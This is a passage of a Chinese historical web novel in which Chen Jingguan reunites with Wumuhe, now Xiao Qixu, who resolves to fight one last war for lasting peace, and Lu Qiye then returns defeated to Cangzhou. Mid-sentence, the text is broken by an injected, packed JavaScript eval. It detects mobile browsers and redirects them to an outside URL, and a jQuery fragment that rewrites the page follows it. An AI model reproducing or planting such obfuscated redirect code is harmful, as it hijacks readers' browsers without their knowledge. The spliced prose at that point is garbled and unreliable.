乌木禾揭了帘子走进去,瞧见沁格朝他微微点头,她身边,站着背朝门口的陈京观。
不知道是不是他的错觉,乌木禾感觉陈京观在躲着自己,他不敢看自己。
“别吉。”
乌木禾向沁格行礼,沁格偏过头看了一眼陈京观,眼前的人别扭地站着,脸上竟然还出现一丝紧张。
沁格无奈地摇头笑了,她迈着步子朝帐外走,路过乌木禾的时候伸手捏了捏他的肩膀。
“记住,无论如何你都是西芥的孩子。”
乌木禾怔住了,沁格没有等他的回答径直离开了帐篷。
此时,这小小的帐篷好似隔绝了整个世界,陈京观听不到任何声音,也感觉不到空气流动,他起伏的胸口是他还在呼吸的唯一证据。
“那个……”
两个人同时开口。
“你都知道了?”
乌木禾没有给陈京观再说话的机会,他直接走过去站到了陈京观对面。
虽然他与现在的陈京观相处的时间不算长,可乌木禾觉得陈京观和那个模糊印象中的哥哥是不一样了,现在的陈京观有一种他说不上来的沉默,就好像心里的事情多到堵住了他的嘴。
按理来说乌木禾离开阙州时堪堪四岁,应该是记不得什么了,可在他的记忆里一直有双湿热的手,带着他走遍了崇明殿。
他觉得那个人是陈京观,或者说陈家独子陈景豫。
“嗯,沁格都同我说了,”陈京观抬头的时候挂着笑容,“这些年,你辛苦了。”
“西芥对我很好。”
乌木禾的回答不假思索,陈京观便又说不出话了,他轻轻点头应和着“那就好”,头却又低了下去。
“你呢,这些年是怎么过的?”
陈京观没有立刻回答,他原本也想脱口而出一句“很好”,可是他又觉得虚伪。
如果他过的真的很好,他何至于到靠假死脱身的地步?他那句“很好”,说出来只会让他显得像一个争强好胜的孩子,他觉得没必要。
“我当年跑到雍州被师父买走了,他对我很好,教了我很多,他没有妻儿,他把我当作自己的儿子。”
陈京观说着,脸上的表情直白地告诉乌木禾这一切都是真的,陈京观提到宁渡的时候不自觉的语气放软,甚至能听到一丝眷恋。
“那就好,至少我们都活下来了。”
陈京观点头,“嗯,活下去。”
起初乌木禾还没有反应过来,片刻后他意识到陈京观是在回应他之前说的话,少年人腼腆地笑了,身上的紧张也消减了几分,他不自觉朝陈京观靠了靠。
“哥。”
陈京观身子一颤,他听到乌木禾继续道:“姨夫是很好的人,他到死都护着我。当初遏佐是要斩草除根的,他把我放到了狼群的狩猎场,只是谁也没想到,狼竟比人更有人情味。”
乌木禾说到这不禁叹气,可转瞬又挂上笑脸,“后来我听阿布说,是因为我身上的死人味太重了,狼更喜欢新鲜而有挑战的猎物,所以它们放了我一码。”
乌木禾说着,朝陈京观旁边的椅子靠过去,他斜倚在椅背上伸手卸下了绑在大腿上的匕首,在刀柄处,陈京观看到一个小哨子。
“这是忽兰哥给我的狼哨,他托兹察教我与狼□□流。他说在草原上拥有军队不能称得上草原的王,能让狼群低头的,才是长生天认下的首领。”
乌木禾说话时一直摩挲着那根银灰色的哨子,他抬头发现陈京观正看着自己,便伸手把哨子递了过去。
“当初别吉领兵讨伐蛮族,那是我第一次用这把哨子。西芥的王牌是铁骑,战马是一切的根本,可那天我才发现,在动物天性的驱使下,任何后天的训练都是徒劳。天敌之所以能称为天敌,是因为它们在血脉里就有不可战胜的能力。”
陈京观侧过头看乌木禾,他好似沉浸在脑海中的画面里,没有理会陈京观带有诧异和惊喜的目光。
“可是人和人之间并不存在这种与生俱来的差异。”
乌木禾的话戛然而止,他转身对上了陈京观的目光。
“无论对面是萧霖,是崇宁,是江阮,是任何人,只要他是人,他都会有弱点,他都会有被战胜的一天,我相信只是时机未到。”
乌木禾提到萧霖的时候情绪毫无波澜,就像是提到了一个无关紧要的人,陈京观抿了抿嘴,什么也没说。
的确,在乌木禾的视角下,萧霖是让他背井离乡的凶手,是害死自己母亲的凶手,是亲手将他送到狼群里的凶手,他该恨他,萧霖在萧祺栩这里没有解释的余地。
陈京观更没有替他选择原谅的立场。
“小栩,”陈京观叫出口后突然顿住,他轻声问,“我可以这样叫你吗?”
乌木禾毫不在意地笑着,“当然,我还要靠萧祺栩这个名字回到属于我的地方去。更何况,‘栩’是母亲为我选的字。”
陈京观点头,“你真的想好了,走出这一步之后你就没有回头路了。沁格是说了西芥永远是你的家,可鱼和熊掌不可兼得,只要你踏进南魏的朝堂,无论是输是赢你都没有可能再回到西芥了。”
乌木禾低着头,陈京观看不到他的表情,只觉得他的眉眼似乎颤动了一下,那动作之小让陈京观怀疑是自己看错了。
陈京观所说的乌木禾当然明白,从沁格向他坦白的那一天起,他无时无刻不再思考这个问题,他甚至觉得从那天起他再看到沁格,已经不知道要如何面对她了。
沁格说能让他一辈子快乐地生活在西芥,他信,可沁格既然选择把这一切都告诉他,那她的目的不言而喻。
在如今的分裂割据下,且不论突然出现的东亭,只说南北两国的继承人,他们将在很大程度上决定这天下还能太平多久。北方的元衡是个不确定因素,可他的儿子元焕却与他不同,元焕身上带着陆家的慈悲。
那便只剩下南魏,沁格作为西芥的王,从她继位那天起她的心思就不可能只放在个人感情上了。
一旦萧祺栩能顺利登基,沁格至少能保证南魏在一般情况下不会主动与自己挑起战争。
沁格相信她的铁骑,但她更愿意为子民谋个太平,谋个长久些的太平。
这天下打了太久的仗,近五十年来大国小国分分合合,你方唱罢我登场,人们对于战争渐渐趋向麻木,和平好像成了奢望。
可沁格不愿意,她觉得自己既然能救的了西芥的女子,就能救的了天下黎民,即使他们最终不是归属于自己。
沁格明白,只有整个世界和平,她的西芥才能永远是美好的。
沁格的所有心思,都在与乌木禾谈论他身世的那天对他和盘托出。
或许正因为沁格的绝对信任,让乌木禾彻底下定决心。
“哥,不能再打仗了,任何地方都不能再打仗了。可你我都明白,人的野心是不会被轻易击碎的,只有被现实踩在脚底下的时候,人才会认命。我想打一场一劳永逸的仗。”
乌木禾言辞恳切,“即使今日我留在西芥,他日南魏,北梁,或者任何一个突然出现的政权都有可能打乱我的生活,我不想等到那一天再追悔莫及。”
乌木禾盯着陈京观的眼睛,“哥,你后悔吗?放弃了原本安乐的日子,放弃了来之不易的家,换来了今天的下场。”
陈京观的喉头微微震颤,乌木禾继续道:“这世上有些事情不是只用输赢二字就能评价的,我们都希望能得到个好结果,可什么是好的?你一路上的所作所为,你后悔吗?哪怕只是延缓了他们的死亡,你后悔吗?”
我后悔吗?陈京观已经数
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109220|146751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不清问过自己多少遍,可即使是回想当初被廊州百姓道德绑架,他也不后悔。
陈京观离开廊州一个月后,不知是萧霖的手笔还是崇宁怕事情败露,阙州派了巡粮御史到廊州,彻查了这许多年的黑色交易。
当然,这其中有些人已经赚得盆满钵满离开了南魏,有些人已经安然地过了一生,可从那之后,廊州再也没有传出过饿死人的消息。
陈京观不想给自己邀功,可他觉得那一仓粮食即使只让百姓挨到了真相大白的那天,他也心满意足了。
如果他那日没有离开雍州,陈京观长叹一口气,有些人就不会死,有些人也就不会活。
那这一切值得吗?陈京观不知道,他比较不了人命的价钱,就像他出城门那天西芥兵问的,“你觉得人命值多少钱?”
直到现在陈京观也回答不上来。
人不是因为创造价值而有了价值,人生而为人,他便有了价值。
陈京观不想替死去的人想值不值,他也没法替活着的人更有意义的活着,他知道他走到现在,他不后悔,即使午夜梦回那一张张熟悉的脸惹得他难以安眠,他也不后悔。
他只怪自己心有余而力不足,是他还不够好。
“哥,我也不会后悔的。”
乌木禾像是看穿了陈京观的心思,他说着将胳膊搭在了陈京观的肩上,少年的臂膀精瘦却有力,陈京观耸了耸肩,回应着乌木禾。
“那我们就再试一次,这次不到泯海不死心。”
……
北梁沧州。
陈京观的死讯跟着陆栖野回到了北梁,他身后是第一次打了败仗的昌安军,他原本想着先回澄州禀报,可他甚至找不到一个见元衡的理由。
难道要告诉他他的儿子叛国?要告诉他这一切都是因为元煜把刀伸向了自己人?可元煜并没有主动攻击昌安军,而陈京观不是自己人,他甚至不是元衡认下的盟友,这一切不过都是陆栖野自己的动作,与元衡,与北梁都没有关系。
如若此时陆栖野把罪责推到元煜身上,元煜定会反咬一口说陆栖野豢养私兵,勾结外邦,元衡不会帮他的,他太了解自己这个姑父了,他最终只会落个死无葬身之地的下场,还要连累家里人。
要说元衡对元煜就一点怀疑都没有,陆栖野绝对不信,可元衡什么都没做,依旧把驰援的事情交给了他,这足以表明元衡的态度。
实际上如今元衡的目的达到了,陈京观的势力一夜之间化为灰烬,南魏受到重创,在短时间内他们只会把矛头对准东亭,元衡有充足的时间想对策,想一个一石二鸟的策略。
而他更高明的地方,在于他把所有人的目光都吸引到了江阮身上,没有人注意到他也跃跃欲试要将这浑水搅得更乱些。
他们元家人,都是天生的演员。
于是陆栖野只能灰溜溜地绕过澄州,沿着慕江回到了沧州,就当这一切没有发生过,他的兵从来没有离开过陆家马场。
“兄长还是没有消息?”
陆栖野骑在马上远远就看到了林均许,他身后站着林朝槿和林含晚,两个人望着陆栖野的身后,原本欣喜的神色落寞了下来。
林朝槿听到陆栖野的问题,只是摇头没有回答,她身边的林含晚看了她一眼,像是下定决心般问,“含章呢?”
“丢了。”
陆栖野下意识撇过头不敢看眼前人,他的声音很轻,乍一听还以为是他的呓语,可林朝槿悬着的心终于彻底死了,她咽了咽口水,走上前一步牵住了陆栖野的马。
“不是说陈少将军找到他了吗?你们不是一起在遥州待了段时间吗?那么大的人了,怎么还能丢?”
林含晚的声音越来越小,陆栖野翻身下马,跪在了林均许面前。
“林叔,我们输了。”